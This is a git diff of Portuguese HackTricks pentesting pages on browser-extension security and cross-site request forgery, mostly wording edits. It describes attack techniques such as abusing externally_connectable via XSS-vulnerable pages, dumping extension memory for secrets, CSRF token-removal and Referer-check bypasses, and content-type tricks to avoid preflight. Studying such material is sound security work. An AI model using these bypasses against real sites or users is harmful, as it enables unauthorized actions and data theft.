-Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página correspondente à expressão **`https://example.com/*`** e que não corresponda ao regex **`*://*/*/business*`**. Eles são executados **como os próprios scripts da página** e têm acesso arbitrário ao [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
+Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página correspondente à expressão **`https://example.com/*`** e que não corresponda ao regex **`*://*/*/business*`**. Eles são executados **como os scripts da própria página** e têm acesso arbitrário ao [Modelo de Objeto de Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
```json
"content_scripts": [
{
@@ -115,24 +115,24 @@ document.body.appendChild(div);
```
-Quando este botão é clicado, um mensagem é enviada para as páginas da extensão pelo script de conteúdo, através da utilização da [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo em acessar APIs diretamente, sendo `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
+Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [API **runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo no acesso direto às APIs, sendo o `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
{% hint style="warning" %}
-Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação do Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
+Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de plano de fundo, permitindo que realizem ações e transmitam respostas de volta.
{% endhint %}
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas para desenvolvedores do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
-Após as ferramentas para desenvolvedores serem exibidas, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
+Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
### Scripts de conteúdo injetados
{% hint style="success" %}
-Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
+Observe que **Scripts de Conteúdo não são obrigatórios**, pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
{% endhint %}
-Para a injeção programática de um script de conteúdo, a extensão precisa ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
+Para a injeção programática de um script de conteúdo, a extensão precisa ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto temporariamente através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Exemplo de extensão baseada em activeTab
@@ -205,7 +205,7 @@ Os valores possíveis são:
* **`document_idle`**: Sempre que possível
* **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
-* **`document_end`**: Imediatamente após o DOM estar completo, mas antes que subrecursos como imagens e frames sejam carregados.
+* **`document_end`**: Imediatamente após o DOM estar completo, mas antes de subrecursos como imagens e frames serem carregados.
#### Via `manifest.json`
```json
@@ -234,7 +234,7 @@ js : [ "contentScript.js" ],
```
### `background`
-As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Modelo de Objeto de Documento (DOM), permitindo interações complexas e gerenciamento de estado.
+As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Document Object Model (DOM), permitindo interações complexas e gerenciamento de estado.
**Pontos Chave**:
@@ -258,7 +258,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
```
Ele usa a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
-Para depurar o script de segundo plano, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de segundo plano:
+Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de fundo:
@@ -272,14 +272,14 @@ As extensões do navegador podem conter vários tipos de páginas:
-Observe que essas páginas não são persistentes como as páginas de segundo plano, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de segundo plano:
+Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
-* **Comunicação com Scripts de Conteúdo:** Semelhante à página de segundo plano, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
+* **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
* **Acesso a APIs Específicas da Extensão:** Essas páginas têm amplo acesso a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
### `permissions` e `host_permissions`
-**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** as extensões do navegador possuem (armazenamento, localização...) e em **quais páginas da web**.
+**`permissions`** e **`host_permissions`** são entradas do `manifest.json` que indicarão **quais permissões** a extensão do navegador possui (armazenamento, localização...) e em **quais páginas da web**.
Como as extensões do navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
@@ -297,7 +297,7 @@ A configuração padrão para páginas de extensão do navegador é bastante res
```bash
script-src 'self'; object-src 'self';
```
-Para obter mais informações sobre CSP e possíveis formas de contorná-lo, verifique:
+Para obter mais informações sobre CSP e possíveis formas de contorná-lo, consulte:
{% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@@ -333,19 +333,19 @@ Nas extensões públicas, o **ID da extensão é acessível**:
No entanto, se o parâmetro `manifest.json` **`use_dynamic_url`** for usado, esse **ID pode ser dinâmico**.
-Permitir o acesso a essas páginas torna essas páginas **potencialmente vulneráveis ao ClickJacking**:
+Permitir o acesso a essas páginas torna essas páginas **potencialmente vulneráveis ao Clickjacking**:
{% content-ref url="browext-clickjacking.md" %}
[browext-clickjacking.md](browext-clickjacking.md)
{% endcontent-ref %}
{% hint style="success" %}
-Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórios poderia prevenir ataques de CLickJacking.
+Permitir que essas páginas sejam carregadas apenas pela extensão e não por URLs aleatórios poderia prevenir ataques de Clickjacking.
{% endhint %}
### `externally_connectable`
-Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), A propriedade do manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), a propriedade do manifesto `"externally_connectable"` declara **quais extensões e páginas da web podem se conectar** à sua extensão via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
* Se a chave **`externally_connectable`** não for declarada no manifesto da sua extensão ou for declarada como **`"ids": ["*"]`**, **todas as extensões podem se conectar, mas nenhuma página da web pode se conectar**.
* Se **IDs específicos forem especificados**, como em `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **apenas essas aplicações** podem se conectar.
@@ -357,14 +357,14 @@ Conforme a [**documentação**](https://developer.chrome.com/docs/extensions/ref
```
* Se for especificado como vazio: **`"externally_connectable": {}`**, nenhum aplicativo ou site poderá se conectar.
-Quanto **menos extensões e URLs** indicados aqui, **menor será a superfície de ataque**.
+Quanto menos extensões e URLs indicados aqui, menor será a superfície de ataque.
{% hint style="danger" %}
-Se uma página da web **vulnerável a XSS ou takeover** for indicada em **`externally_connectable`**, um atacante poderá **enviar mensagens diretamente para o script de plano de fundo**, contornando completamente o Content Script e sua CSP.
+Se uma página da web vulnerável a XSS ou takeover for indicada em **`externally_connectable`**, um atacante poderá enviar mensagens diretamente para o script de plano de fundo, contornando completamente o Content Script e sua CSP.
-Portanto, este é um **bypass muito poderoso**.
+Portanto, este é um bypass muito poderoso.
-Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não seja permitido comunicar-se com a extensão vulnerável, ela poderá injetar **dados XSS em uma página da web permitida** ou abusar das APIs **`WebRequest`** ou **`DeclarativeNetRequest`** para manipular solicitações em um domínio específico, alterando a solicitação de uma página para um **arquivo JavaScript**. (Observe que a CSP na página-alvo pode prevenir esses ataques). Essa ideia vem [**deste artigo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+Além disso, se o cliente instalar uma extensão maliciosa, mesmo que não seja permitido comunicar-se com a extensão vulnerável, ela poderá injetar dados XSS em uma página da web permitida ou abusar das APIs `WebRequest` ou `DeclarativeNetRequest` para manipular solicitações em um domínio específico, alterando a solicitação de uma página para um arquivo JavaScript. (Observe que a CSP na página alvo pode prevenir esses ataques). Essa ideia vem [**deste artigo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
{% endhint %}
##
@@ -393,7 +393,7 @@ port.postMessage(event.data.text);
```
{% endcode %}
-{% code title="example.js" %}
+{% code title="exemplo.js" %}
```javascript
document.getElementById("theButton").addEventListener("click", () => {
window.postMessage(
@@ -408,7 +408,7 @@ Uma comunicação segura de Post Message deve verificar a autenticidade da mensa
- O script de conteúdo pode esperar uma mensagem apenas se o usuário realizar alguma ação
- **domínio de origem**: pode esperar uma mensagem apenas de uma lista permitida de domínios.
- Se uma regex for usada, tenha muito cuidado
-- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Content Script está ouvindo.
+- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na seguinte página **possíveis bypasses de Post Message**:
@@ -426,7 +426,7 @@ Outra possível forma de comunicação pode ser através de **URLs de Iframe**,
### DOM
-Isso não é "exatamente" uma forma de comunicação, mas a **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Content Script**.
+Isso não é "exatamente" uma forma de comunicação, mas a **web e o script de conteúdo terão acesso ao DOM da web**. Portanto, se o **script de conteúdo** estiver lendo algumas informações dele, **confiando no DOM da web**, a web poderia **modificar esses dados** (porque a web não deve ser confiável, ou porque a web é vulnerável a XSS) e **comprometer o Script de Conteúdo**.
Você também pode encontrar um exemplo de **XSS baseado em DOM para comprometer uma extensão do navegador** em:
@@ -436,17 +436,17 @@ Você também pode encontrar um exemplo de **XSS baseado em DOM para comprometer
## Informações Sensíveis na Memória/Código
-Se uma Extensão do Navegador armazena **informações sensíveis em sua memória**, isso poderia ser **dumped** (especialmente em máquinas Windows) e **procurado** por essas informações.
+Se uma Extensão do Navegador armazena **informações sensíveis em sua memória**, isso poderia ser **dumped** (especialmente em máquinas Windows) e **pesquisado** por essas informações.
Portanto, a memória da Extensão do Navegador **não deve ser considerada segura** e **informações sensíveis** como credenciais ou frases mnemônicas **não devem ser armazenadas**.
Claro, **não coloque informações sensíveis no código**, pois será **público**.
-Para fazer dump da memória do navegador, você pode **fazer dump da memória do processo** ou ir para as **configurações** da extensão do navegador clicar em **`Inspect pop-up`** -> Na seção **`Memory`** -> **`Take a snaphost`** e **`CTRL+F`** para pesquisar dentro do snapshot por informações sensíveis.
+Para fazer dump da memória do navegador, você pode **fazer dump da memória do processo** ou ir para as **configurações** da extensão do navegador clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para pesquisar dentro do instantâneo por informações sensíveis.
-## Comunicação entre Content Script **↔︎** Background Script
+## Comunicação Script de Conteúdo **↔︎** Script de Fundo
-Um Content Script pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
+Um Script de Conteúdo pode usar as funções [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ou** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar uma mensagem **serializável em JSON** de uma vez.
Para lidar com a **resposta**, use a **Promise** retornada. Embora, para compatibilidade com versões anteriores, você ainda possa passar um **callback** como último argumento.
@@ -541,19 +541,19 @@ Abra o Chrome e vá para `chrome://extensions/`. Ative o "Modo Desenvolvedor" no
## Lista de Verificação de Auditoria de Segurança
-Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As seguintes são as mais comuns:
+Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**, algumas delas podem conter **vulnerabilidades** ou **melhorias de fortalecimento potenciais**. As mais comuns são:
* [ ] **Limitar** o máximo possível as **`permissões`** solicitadas
* [ ] **Limitar** o máximo possível as **`host_permissions`**
-* Usar uma **`content_security_policy`** **forte**
+* [ ] Usar uma **`content_security_policy`** forte
* [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixe por padrão, especifique **`{}`**
-* Se a **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente para os scripts de segundo plano**. Um bypass muito poderoso.
-* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio, se possível.
-* Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
-* Se houver alguma **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
-* Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
-* Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
-* Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
+* [ ] Se **URL vulnerável a XSS ou a takeover** for mencionado aqui, um atacante poderá **enviar mensagens diretamente para os scripts de segundo plano**. Um bypass muito poderoso.
+* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio se possível.
+* [ ] Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
+* [ ] Se houver **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
+* [ ] Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+* [ ] Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
+* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
* **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
* **Informações sensíveis não devem ser armazenadas** na memória da Extensão do Navegador
@@ -564,7 +564,7 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
* Extrai qualquer extensão do Chrome a partir de um link fornecido da Chrome Web Store.
* Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): exibe simplesmente uma versão JSON formatada do manifesto da extensão.
* Análise de Impressão Digital: Detecção de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e geração automática de JavaScript de impressão digital de extensão do Chrome.
-* Análise Potencial de Clickjacking: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Estas são potencialmente vulneráveis ao clickjacking, dependendo do propósito das páginas.
+* Análise Potencial de Clickjacking: Detecção de páginas HTML de extensão com a diretiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) definida. Essas são potencialmente vulneráveis ao clickjacking, dependendo do propósito das páginas.
* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos ao usuário ao tentar instalar a extensão.
* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
* Ponto(s) de Entrada: mostra onde a extensão recebe entrada do usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente criados para a extensão.
@@ -581,12 +581,12 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
* Baixar extensão e versões formatadas.
* Baixar a extensão original.
* Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente embelezados).
-* Armazenamento automático de resultados de varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não tenha sido atualizada, será quase instantâneo devido aos resultados serem armazenados em cache.
+* Cache automático dos resultados da verificação, executar uma verificação de extensão levará um bom tempo na primeira vez que você a executa. No entanto, na segunda vez, assumindo que a extensão não tenha sido atualizada, será quase instantâneo devido aos resultados estarem em cache.
* URLs de Relatórios Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
### [Neto](https://github.com/elevenpaths/neto)
-O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegador para navegadores conhecidos como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos de origem Javascript e HTML.
+O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões do navegador para navegadores conhecidos como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos de origem Javascript e HTML.
## Referências
@@ -606,10 +606,10 @@ O Projeto Neto é um pacote Python 3 concebido para analisar e desvendar recurso
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
-* Se deseja ver a **sua empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver a **sua empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os** repositórios [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/csrf-cross-site-request-forgery.md b/pentesting-web/csrf-cross-site-request-forgery.md
index c3607e2d1..fe9974807 100644
--- a/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/pentesting-web/csrf-cross-site-request-forgery.md
@@ -19,33 +19,33 @@ Outras maneiras de apoiar o HackTricks:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
-Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
+Envolver-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hacking em Tempo Real**\
-Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
+Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
-## Explicação do Cross-Site Request Forgery (CSRF)
+## Explicação de Cross-Site Request Forgery (CSRF)
-**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
+**Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ele permite que atacantes realizem ações em nome de usuários desavisados explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona solicitações na conta da vítima por meio de métodos como executar JavaScript, enviar formulários ou buscar imagens.
### Pré-requisitos para um Ataque CSRF
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que valha a pena explorar, como alterar a senha do usuário, e-mail ou elevar privilégios.
-2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por cookies ou pelo cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para este fim.
+2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente por meio de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para este fim.
3. **Ausência de Parâmetros Impraticáveis**: A solicitação não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
### Verificação Rápida
Você pode **capturar a solicitação no Burp** e verificar as proteções CSRF e para testar a partir do navegador você pode clicar em **Copiar como fetch** e verificar a solicitação:
-
+
### Defendendo-se Contra CSRF
@@ -57,7 +57,7 @@ Várias contramedidas podem ser implementadas para se proteger contra ataques CS
* **Verificação de Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as solicitações venham de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
* Usando `http://mal.net?orig=http://example.com` (URL termina com a URL confiável)
* Usando `http://example.com.mal.net` (URL começa com a URL confiável)
-* **Modificar Nomes de Parâmetros**: Alterar os nomes dos parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
+* **Modificar Nomes de Parâmetros**: Alterar os nomes de parâmetros em solicitações POST ou GET pode ajudar a prevenir ataques automatizados.
* **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir este token em solicitações subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aprimorada ao aplicar CORS.
Compreender e implementar essas defesas é crucial para manter a segurança e integridade de aplicações web.
@@ -70,7 +70,7 @@ Talvez o formulário que você deseja abusar esteja preparado para enviar uma **
### Falta de token
-Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas o seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
+Aplicações podem implementar um mecanismo para **validar tokens** quando estão presentes. No entanto, surge uma vulnerabilidade se a validação for completamente ignorada quando o token estiver ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas o seu valor. Isso permite que eles contornem o processo de validação e realizem um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
### Token CSRF não está vinculado à sessão do usuário
@@ -78,11 +78,11 @@ Aplicações que **não vinculam tokens CSRF às sessões de usuário** apresent
Veja como os atacantes exploram isso:
-1. **Autenticam** usando sua própria conta.
+1. **Autenticam-se** usando sua própria conta.
2. **Obtêm um token CSRF válido** do pool global.
3. **Usam este token** em um ataque CSRF contra uma vítima.
-Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
+Essa vulnerabilidade permite que os atacantes façam solicitações não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação.
### Bypass de Método
@@ -103,7 +103,7 @@ Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **
### Token CSRF é verificado por um cookie
-Aplicações podem implementar proteção CSRF duplicando o token em um cookie e um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
+Aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de solicitação ou definindo um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida solicitações verificando se o token no parâmetro de solicitação está alinhado com o valor no cookie.
No entanto, este método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguido pela iniciativa do ataque CSRF.
@@ -124,12 +124,12 @@ Abaixo está um exemplo de como um ataque poderia ser estruturado:
```
{% hint style="info" %}
-Note que se o **token csrf estiver relacionado com o cookie de sessão este ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
+Note que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima, e portanto estará atacando a si mesmo.
{% endhint %}
### Alteração de Content-Type
-De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST** estes são os valores de Content-Type permitidos:
+De acordo com [**este**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, estes são os valores de Content-Type permitidos:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
@@ -152,13 +152,13 @@ form.submit();
```
### Bypassando Solicitações de Preflight para Dados JSON
-Ao tentar enviar dados JSON via uma solicitação POST, usar o `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
+Ao tentar enviar dados JSON via uma solicitação POST, usando o `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar este tipo de conteúdo inicia uma solicitação de preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
1. **Usar Tipos de Conteúdo Alternativos**: Utilize `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` no formulário. Esta abordagem testa se o backend utiliza os dados independentemente do Content-Type.
